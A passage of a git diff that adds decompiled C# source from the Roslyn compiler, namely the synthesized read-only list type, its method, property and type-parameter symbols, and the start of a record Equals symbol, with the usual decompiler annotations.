syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListMethod.cs new file mode 100644 index 0000000..515a61c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListMethod.cs @@ -0,0 +1,30 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedReadOnlyListMethod : SynthesizedImplementationMethod +{ + private readonly GenerateMethodBodyDelegate _generateMethodBody; + + internal override bool SynthesizesLoweredBoundBody => true; + + internal SynthesizedReadOnlyListMethod(SynthesizedReadOnlyListTypeSymbol containingType, MethodSymbol interfaceMethod, GenerateMethodBodyDelegate generateMethodBody) + : base(interfaceMethod, containingType) + { + _generateMethodBody = generateMethodBody; + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + BoundStatement body = _generateMethodBody(syntheticBoundNodeFactory, this, _interfaceMethod); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListProperty.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListProperty.cs new file mode 100644 index 0000000..9616f3a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListProperty.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedReadOnlyListProperty : PropertySymbol +{ + private readonly SynthesizedReadOnlyListTypeSymbol _containingType; + + private readonly PropertySymbol _interfaceProperty; + + public override string Name { get; } + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations TypeWithAnnotations => _interfaceProperty.TypeWithAnnotations; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override ImmutableArray Parameters { get; } + + public override bool IsIndexer => Parameters.Length > 0; + + public override MethodSymbol? GetMethod { get; } + + public override MethodSymbol? SetMethod { get; } + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Create(_interfaceProperty); + + public override Symbol ContainingSymbol => _containingType; + + public override ImmutableArray Locations => _containingType.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => _containingType.DeclaringSyntaxReferences; + + public override Accessibility DeclaredAccessibility => (Accessibility)1; + + public override bool IsStatic => false; + + public override bool IsVirtual => false; + + public override bool IsOverride => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + public override bool IsExtern => false; + + internal override bool IsRequired => false; + + internal override bool HasSpecialName => false; + + internal override CallingConvention CallingConvention => _interfaceProperty.CallingConvention; + + internal override bool MustCallMethodsDirectly => false; + + internal override bool HasUnscopedRefAttribute => false; + + internal override ObsoleteAttributeData? ObsoleteAttributeData => null; + + internal SynthesizedReadOnlyListProperty(SynthesizedReadOnlyListTypeSymbol containingType, PropertySymbol interfaceProperty, GenerateMethodBodyDelegate getAccessorBody, GenerateMethodBodyDelegate? setAccessorBody = null) + { + _containingType = containingType; + _interfaceProperty = interfaceProperty; + Name = ExplicitInterfaceHelpers.GetMemberName(interfaceProperty.Name, interfaceProperty.ContainingType, null); + Parameters = ImmutableArrayExtensions.SelectAsArray(interfaceProperty.Parameters, (Func)((ParameterSymbol p, SynthesizedReadOnlyListProperty t) => SynthesizedParameterSymbol.DeriveParameter(t, p)), this); + GetMethod = new SynthesizedReadOnlyListMethod(containingType, interfaceProperty.GetMethod, getAccessorBody); + SetMethod = (((object)interfaceProperty.SetMethod == null) ? null : new SynthesizedReadOnlyListMethod(containingType, interfaceProperty.SetMethod, setAccessorBody)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListTypeParameterSymbol.cs new file mode 100644 index 0000000..9c6a045 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListTypeParameterSymbol.cs @@ -0,0 +1,70 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedReadOnlyListTypeParameterSymbol : TypeParameterSymbol +{ + private readonly SynthesizedReadOnlyListTypeSymbol _containingType; + + public override string Name => "T"; + + public override int Ordinal => 0; + + public override bool HasConstructorConstraint => false; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)0; + + public override bool HasReferenceTypeConstraint => false; + + public override bool IsReferenceTypeFromConstraintTypes => false; + + public override bool HasNotNullConstraint => false; + + public override bool HasValueTypeConstraint => false; + + public override bool IsValueTypeFromConstraintTypes => false; + + public override bool HasUnmanagedTypeConstraint => false; + + public override VarianceKind Variance => (VarianceKind)0; + + public override Symbol ContainingSymbol => _containingType; + + public override ImmutableArray Locations => _containingType.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => _containingType.DeclaringSyntaxReferences; + + internal override bool? IsNotNullable => null; + + internal override bool? ReferenceTypeConstraintIsNullable => null; + + internal SynthesizedReadOnlyListTypeParameterSymbol(SynthesizedReadOnlyListTypeSymbol containingType) + { + _containingType = containingType; + } + + internal override void EnsureAllConstraintsAreResolved() + { + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + return ContainingAssembly.GetSpecialType((SpecialType)1); + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + return ContainingAssembly.GetSpecialType((SpecialType)1); + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListTypeSymbol.cs new file mode 100644 index 0000000..764402c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListTypeSymbol.cs @@ -0,0 +1,481 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedReadOnlyListTypeSymbol : NamedTypeSymbol +{ + private static readonly SpecialType[] s_requiredSpecialTypes; + + private static readonly WellKnownType[] s_requiredWellKnownTypes; + + private static readonly SpecialMember[] s_requiredSpecialMembers; + + private static readonly WellKnownMember[] s_requiredWellKnownMembers; + + private static readonly WellKnownMember[] s_requiredWellKnownMembersUnknownLength; + + private readonly ModuleSymbol _containingModule; + + private readonly ImmutableArray _interfaces; + + private readonly ImmutableArray _members; + + private readonly FieldSymbol _field; + + public override int Arity => 1; + + public override ImmutableArray TypeParameters { get; } + + public override NamedTypeSymbol ConstructedFrom => this; + + public override bool MightContainExtensionMethods => false; + + public override string Name { get; } + + public override IEnumerable MemberNames => from m in GetMembers() + select m.Name; + + public override Accessibility DeclaredAccessibility => (Accessibility)4; + + public override bool IsSerializable => false; + + public override bool AreLocalsZeroed => true; + + public override TypeKind TypeKind => (TypeKind)2; + + public override bool IsRefLikeType => false; + + public override bool IsReadOnly => false; + + public override Symbol? ContainingSymbol => _containingModule.GlobalNamespace; + + internal override ModuleSymbol ContainingModule => _containingModule; + + public override AssemblySymbol ContainingAssembly => _containingModule.ContainingAssembly; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override bool IsStatic => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => true; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + internal override bool IsFileLocal => false; + + internal override FileIdentifier? AssociatedFileIdentifier => null; + + internal override bool MangleName => true; + + internal override bool HasDeclaredRequiredMembers => false; + + internal override bool HasCodeAnalysisEmbeddedAttribute => false; + + internal override bool IsInterpolatedStringHandlerType => false; + + internal override bool HasSpecialName => false; + + internal override bool IsComImport => false; + + internal override bool IsWindowsRuntimeImport => false; + + internal override bool ShouldAddWinRTMembers => false; + + internal override TypeLayout Layout => default(TypeLayout); + + internal override CharSet MarshallingCharSet => base.DefaultMarshallingCharSet; + + internal override bool HasDeclarativeSecurity => false; + + internal override bool IsInterface => false; + + internal override NamedTypeSymbol? NativeIntegerUnderlyingType => null; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => ContainingAssembly.GetSpecialType((SpecialType)1); + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + internal override ObsoleteAttributeData? ObsoleteAttributeData => null; + + internal static NamedTypeSymbol Create(SourceModuleSymbol containingModule, string name, bool hasKnownLength) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation declaringCompilation = containingModule.DeclaringCompilation; + DiagnosticInfo val = null; + SpecialType[] array = s_requiredSpecialTypes; + foreach (SpecialType specialType in array) + { + val = declaringCompilation.GetSpecialType(specialType).GetUseSiteInfo().DiagnosticInfo; + if (val != null) + { + break; + } + } + if (val == null) + { + SpecialMember[] array2 = s_requiredSpecialMembers; + foreach (SpecialMember member in array2) + { + val = getSpecialTypeMemberDiagnosticInfo(declaringCompilation, member); + if (val != null) + { + break; + } + } + } + if (val == null) + { + WellKnownMember[] array3 = s_requiredWellKnownMembers; + foreach (WellKnownMember member2 in array3) + { + val = getWellKnownTypeMemberDiagnosticInfo(declaringCompilation, member2); + if (val != null) + { + break; + } + } + } + if (!hasKnownLength) + { + if (val == null) + { + val = declaringCompilation.GetWellKnownType((WellKnownType)206).GetUseSiteInfo().DiagnosticInfo; + } + if (val == null) + { + WellKnownMember[] array3 = s_requiredWellKnownMembersUnknownLength; + foreach (WellKnownMember member3 in array3) + { + val = getWellKnownTypeMemberDiagnosticInfo(declaringCompilation, member3); + if (val != null) + { + break; + } + } + } + } + if (val != null) + { + return new ExtendedErrorTypeSymbol(declaringCompilation, name, 1, val, unreported: true); + } + return new SynthesizedReadOnlyListTypeSymbol(containingModule, name, hasKnownLength); + static DiagnosticInfo? getSpecialTypeMemberDiagnosticInfo(CSharpCompilation compilation, SpecialMember val2) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + if ((object)compilation.GetSpecialTypeMember(val2) != null) + { + return null; + } + MemberDescriptor descriptor = SpecialMembers.GetDescriptor(val2); + return (DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingPredefinedMember, ((MemberDescriptor)(ref descriptor)).DeclaringTypeMetadataName, descriptor.Name); + } + static DiagnosticInfo? getWellKnownTypeMemberDiagnosticInfo(CSharpCompilation compilation, WellKnownMember member4) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if ((object)Binder.GetWellKnownTypeMember(compilation, member4, out var useSiteInfo) != null) + { + return null; + } + return useSiteInfo.DiagnosticInfo; + } + } + + private SynthesizedReadOnlyListTypeSymbol(SourceModuleSymbol containingModule, string name, bool hasKnownLength) + { + CSharpCompilation declaringCompilation = containingModule.DeclaringCompilation; + _containingModule = containingModule; + Name = name; + SynthesizedReadOnlyListTypeParameterSymbol synthesizedReadOnlyListTypeParameterSymbol = new SynthesizedReadOnlyListTypeParameterSymbol(this); + TypeParameters = ImmutableArray.Create((TypeParameterSymbol)synthesizedReadOnlyListTypeParameterSymbol); + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + TypeSymbol typeSymbol = (hasKnownLength ? ((TypeSymbol)declaringCompilation.CreateArrayTypeSymbol(synthesizedReadOnlyListTypeParameterSymbol)) : ((TypeSymbol)declaringCompilation.GetWellKnownType((WellKnownType)206).Construct(typeArgumentsWithAnnotationsNoUseSiteDiagnostics))); + _field = new SynthesizedFieldSymbol(this, typeSymbol, "_items", isPublic: false, isReadOnly: true); + NamedTypeSymbol specialType = declaringCompilation.GetSpecialType((SpecialType)24); + NamedTypeSymbol namedTypeSymbol = declaringCompilation.GetSpecialType((SpecialType)25).Construct(typeArgumentsWithAnnotationsNoUseSiteDiagnostics); + NamedTypeSymbol namedTypeSymbol2 = declaringCompilation.GetSpecialType((SpecialType)31).Construct(typeArgumentsWithAnnotationsNoUseSiteDiagnostics); + NamedTypeSymbol namedTypeSymbol3 = declaringCompilation.GetSpecialType((SpecialType)30).Construct(typeArgumentsWithAnnotationsNoUseSiteDiagnostics); + NamedTypeSymbol namedTypeSymbol4 = declaringCompilation.GetSpecialType((SpecialType)27).Construct(typeArgumentsWithAnnotationsNoUseSiteDiagnostics); + NamedTypeSymbol namedTypeSymbol5 = declaringCompilation.GetSpecialType((SpecialType)26).Construct(typeArgumentsWithAnnotationsNoUseSiteDiagnostics); + _interfaces = ImmutableArray.Create(new NamedTypeSymbol[6] { specialType, namedTypeSymbol, namedTypeSymbol2, namedTypeSymbol3, namedTypeSymbol4, namedTypeSymbol5 }); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add((Symbol)_field); + instance.Add((Symbol)new SynthesizedReadOnlyListConstructor(this, typeSymbol)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, (MethodSymbol)declaringCompilation.GetSpecialTypeMember((SpecialMember)84), generateGetEnumerator)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, ((MethodSymbol)declaringCompilation.GetSpecialTypeMember((SpecialMember)89)).AsMember(namedTypeSymbol), generateGetEnumeratorT)); + addProperty(instance, new SynthesizedReadOnlyListProperty(this, ((PropertySymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)481)).AsMember(namedTypeSymbol2), generateCount)); + addProperty(instance, new SynthesizedReadOnlyListProperty(this, ((PropertySymbol)((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)482)).AssociatedSymbol).AsMember(namedTypeSymbol3), generateIndexer)); + addProperty(instance, new SynthesizedReadOnlyListProperty(this, ((PropertySymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)483)).AsMember(namedTypeSymbol4), generateCount)); + addProperty(instance, new SynthesizedReadOnlyListProperty(this, ((PropertySymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)484)).AsMember(namedTypeSymbol4), generateIsReadOnly)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, ((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)485)).AsMember(namedTypeSymbol4), generateNotSupportedException)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, ((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)486)).AsMember(namedTypeSymbol4), generateNotSupportedException)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, ((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)487)).AsMember(namedTypeSymbol4), generateContains)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, ((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)488)).AsMember(namedTypeSymbol4), generateCopyTo)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, ((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)489)).AsMember(namedTypeSymbol4), generateNotSupportedException)); + addProperty(instance, new SynthesizedReadOnlyListProperty(this, ((PropertySymbol)((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)490)).AssociatedSymbol).AsMember(namedTypeSymbol5), generateIndexer, generateNotSupportedException)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, ((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)491)).AsMember(namedTypeSymbol5), generateIndexOf)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, ((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)492)).AsMember(namedTypeSymbol5), generateNotSupportedException)); + instance.Add((Symbol)new SynthesizedReadOnlyListMethod(this, ((MethodSymbol)declaringCompilation.GetWellKnownTypeMember((WellKnownMember)493)).AsMember(namedTypeSymbol5), generateNotSupportedException)); + _members = instance.ToImmutableAndFree(); + static void addProperty(ArrayBuilder builder, PropertySymbol property) + { + builder.Add((Symbol)property); + ArrayBuilderExtensions.AddIfNotNull(builder, (Symbol)property.GetMethod); + ArrayBuilderExtensions.AddIfNotNull(builder, (Symbol)property.SetMethod); + } + static BoundStatement generateContains(SyntheticBoundNodeFactory f, MethodSymbol method, MethodSymbol interfaceMethod) + { + SynthesizedReadOnlyListTypeSymbol synthesizedReadOnlyListTypeSymbol = (SynthesizedReadOnlyListTypeSymbol)method.ContainingType; + FieldSymbol field = synthesizedReadOnlyListTypeSymbol._field; + BoundFieldAccess boundFieldAccess = f.Field(f.This(), field); + BoundParameter arg = f.Parameter(method.Parameters[0]); + if (field.Type.IsArray()) + { + return f.Return(f.Call(f.Convert(interfaceMethod.ContainingType, boundFieldAccess), interfaceMethod, arg)); + } + MethodSymbol method2 = (MethodSymbol)synthesizedReadOnlyListTypeSymbol.GetFieldTypeMember((WellKnownMember)498); + return f.Return(f.Call(boundFieldAccess, method2, arg)); + } + static BoundStatement generateCopyTo(SyntheticBoundNodeFactory f, MethodSymbol method, MethodSymbol interfaceMethod) + { + SynthesizedReadOnlyListTypeSymbol synthesizedReadOnlyListTypeSymbol = (SynthesizedReadOnlyListTypeSymbol)method.ContainingType; + FieldSymbol field = synthesizedReadOnlyListTypeSymbol._field; + BoundFieldAccess boundFieldAccess = f.Field(f.This(), field); + BoundParameter arg = f.Parameter(method.Parameters[0]); + BoundParameter arg2 = f.Parameter(method.Parameters[1]); + BoundStatement boundStatement; + if (field.Type.IsArray()) + { + boundStatement = f.ExpressionStatement(f.Call(f.Convert(interfaceMethod.ContainingType, boundFieldAccess), interfaceMethod, arg, arg2)); + } + else + { + MethodSymbol method2 = (MethodSymbol)synthesizedReadOnlyListTypeSymbol.GetFieldTypeMember((WellKnownMember)499); + boundStatement = f.ExpressionStatement(f.Call(boundFieldAccess, method2, arg, arg2)); + } + return f.Block(boundStatement, f.Return()); + } + static BoundStatement generateCount(SyntheticBoundNodeFactory f, MethodSymbol method, MethodSymbol interfaceMethod) + { + SynthesizedReadOnlyListTypeSymbol synthesizedReadOnlyListTypeSymbol = (SynthesizedReadOnlyListTypeSymbol)method.ContainingType; + FieldSymbol field = synthesizedReadOnlyListTypeSymbol._field; + BoundFieldAccess boundFieldAccess = f.Field(f.This(), field); + if (field.Type.IsArray()) + { + return f.Return(f.ArrayLength(boundFieldAccess)); + } + PropertySymbol property = (PropertySymbol)synthesizedReadOnlyListTypeSymbol.GetFieldTypeMember((WellKnownMember)497); + return f.Return(f.Property(boundFieldAccess, property)); + } + static BoundStatement generateGetEnumerator(SyntheticBoundNodeFactory f, MethodSymbol method, MethodSymbol interfaceMethod) + { + FieldSymbol field = ((SynthesizedReadOnlyListTypeSymbol)method.ContainingType)._field; + BoundFieldAccess arg = f.Field(f.This(), field); + return f.Return(f.Call(f.Convert(interfaceMethod.ContainingType, arg), interfaceMethod)); + } + static BoundStatement generateGetEnumeratorT(SyntheticBoundNodeFactory f, MethodSymbol method, MethodSymbol interfaceMethod) + { + FieldSymbol field = ((SynthesizedReadOnlyListTypeSymbol)method.ContainingType)._field; + BoundFieldAccess arg = f.Field(f.This(), field); + return f.Return(f.Call(f.Convert(interfaceMethod.ContainingType, arg), interfaceMethod)); + } + static BoundStatement generateIndexOf(SyntheticBoundNodeFactory f, MethodSymbol method, MethodSymbol interfaceMethod) + { + SynthesizedReadOnlyListTypeSymbol synthesizedReadOnlyListTypeSymbol = (SynthesizedReadOnlyListTypeSymbol)method.ContainingType; + FieldSymbol field = synthesizedReadOnlyListTypeSymbol._field; + BoundFieldAccess boundFieldAccess = f.Field(f.This(), field); + BoundParameter arg = f.Parameter(method.Parameters[0]); + if (field.Type.IsArray()) + { + return f.Return(f.Call(f.Convert(interfaceMethod.ContainingType, boundFieldAccess), interfaceMethod, arg)); + } + MethodSymbol method2 = (MethodSymbol)synthesizedReadOnlyListTypeSymbol.GetFieldTypeMember((WellKnownMember)501); + return f.Return(f.Call(boundFieldAccess, method2, arg)); + } + static BoundStatement generateIndexer(SyntheticBoundNodeFactory f, MethodSymbol method, MethodSymbol interfaceMethod) + { + SynthesizedReadOnlyListTypeSymbol synthesizedReadOnlyListTypeSymbol = (SynthesizedReadOnlyListTypeSymbol)method.ContainingType; + FieldSymbol field = synthesizedReadOnlyListTypeSymbol._field; + BoundFieldAccess boundFieldAccess = f.Field(f.This(), field); + BoundParameter boundParameter = f.Parameter(method.Parameters[0]); + if (field.Type.IsArray()) + { + return f.Return(f.ArrayAccess(boundFieldAccess, boundParameter)); + } + PropertySymbol property = (PropertySymbol)((MethodSymbol)synthesizedReadOnlyListTypeSymbol.GetFieldTypeMember((WellKnownMember)500)).AssociatedSymbol; + return f.Return(f.Indexer(boundFieldAccess, property, boundParameter)); + } + static BoundStatement generateIsReadOnly(SyntheticBoundNodeFactory f, MethodSymbol method, MethodSymbol interfaceMethod) + { + return f.Return(f.Literal(value: true)); + } + static BoundStatement generateNotSupportedException(SyntheticBoundNodeFactory f, MethodSymbol method, MethodSymbol interfaceMethod) + { + MethodSymbol ctor = (MethodSymbol)method.DeclaringCompilation.GetWellKnownTypeMember((WellKnownMember)478); + return f.Throw(f.New(ctor)); + } + } + + private Symbol GetFieldTypeMember(WellKnownMember member) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return DeclaringCompilation.GetWellKnownTypeMember(member).SymbolAsMember((NamedTypeSymbol)_field.Type); + } + + public override ImmutableArray GetMembers() + { + return _members; + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArrayExtensions.WhereAsArray(GetMembers(), (Func)((Symbol m) => m.Name == name)); + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/ReadOnlyListType/SynthesizedReadOnlyListTypeSymbol.cs", 573); + } + + internal override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/ReadOnlyListType/SynthesizedReadOnlyListTypeSymbol.cs", 575); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(AttributeUsageInfo); + } + + internal override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return BaseTypeNoUseSiteDiagnostics; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/ReadOnlyListType/SynthesizedReadOnlyListTypeSymbol.cs", 585); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/ReadOnlyListType/SynthesizedReadOnlyListTypeSymbol.cs", 587); + } + + internal override IEnumerable GetFieldsToEmit() + { + return _members.OfType(); + } + + internal override ImmutableArray GetInterfacesToEmit() + { + return _interfaces; + } + + internal override IEnumerable GetSecurityInformation() + { + return SpecializedCollections.EmptyEnumerable(); + } + + internal override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + builderType = null; + methodName = null; + return false; + } + + internal override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } + + internal override bool HasPossibleWellKnownCloneMethod() + { + return false; + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved = null) + { + return _interfaces; + } + + internal override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + static SynthesizedReadOnlyListTypeSymbol() + { + SpecialType[] array = new SpecialType[6]; + RuntimeHelpers.InitializeArray(array, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + s_requiredSpecialTypes = (SpecialType[])(object)array; + s_requiredWellKnownTypes = (WellKnownType[])(object)new WellKnownType[1] { (WellKnownType)206 }; + s_requiredSpecialMembers = (SpecialMember[])(object)new SpecialMember[2] + { + (SpecialMember)84, + (SpecialMember)89 + }; + WellKnownMember[] array2 = new WellKnownMember[14]; + RuntimeHelpers.InitializeArray(array2, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + s_requiredWellKnownMembers = (WellKnownMember[])(object)array2; + WellKnownMember[] array3 = new WellKnownMember[5]; + RuntimeHelpers.InitializeArray(array3, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/); + s_requiredWellKnownMembersUnknownLength = (WellKnownMember[])(object)array3; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordBaseEquals.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordBaseEquals.cs new file mode 100644 index 0000000..58fa6ff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordBaseEquals.cs @@ -0,0 +1,55 @@ +using System.Collections.Immutable; +using System.Linq; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordBaseEquals : SynthesizedRecordOrdinaryMethod +{ + public SynthesizedRecordBaseEquals(SourceMemberContainerTypeSymbol containingType, int memberOffset) + : base(containingType, "Equals", memberOffset, DeclarationModifiers.Sealed | DeclarationModifiers.Public | DeclarationModifiers.Override) + { + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location returnTypeLocation = ReturnTypeLocation; + return (ReturnType: TypeWithAnnotations.Create(Binder.GetSpecialType(declaringCompilation, (SpecialType)7, returnTypeLocation, diagnostics)), Parameters: ImmutableArray.Create((ParameterSymbol)new SourceSimpleParameterSymbol(this, TypeWithAnnotations.Create(ContainingType.BaseTypeNoUseSiteDiagnostics, NullableAnnotation.Annotated), 0, (RefKind)0, (ScopedKind)0, "other", Locations))); + } + + protected override int GetParameterCountFromSyntax() + { + return 1; + } + + protected override void MethodChecks(BindingDiagnosticBag diagnostics) + { + base.MethodChecks(diagnostics); + MethodSymbol overriddenMethod = base.OverriddenMethod; + if ((object)overriddenMethod != null && !overriddenMethod.ContainingType.Equals(ContainingType.BaseTypeNoUseSiteDiagnostics, (TypeCompareKind)63)) + { + diagnostics.Add(ErrorCode.ERR_DoesNotOverrideBaseMethod, GetFirstLocation(), this, ContainingType.BaseTypeNoUseSiteDiagnostics); + } + } + + internal override void 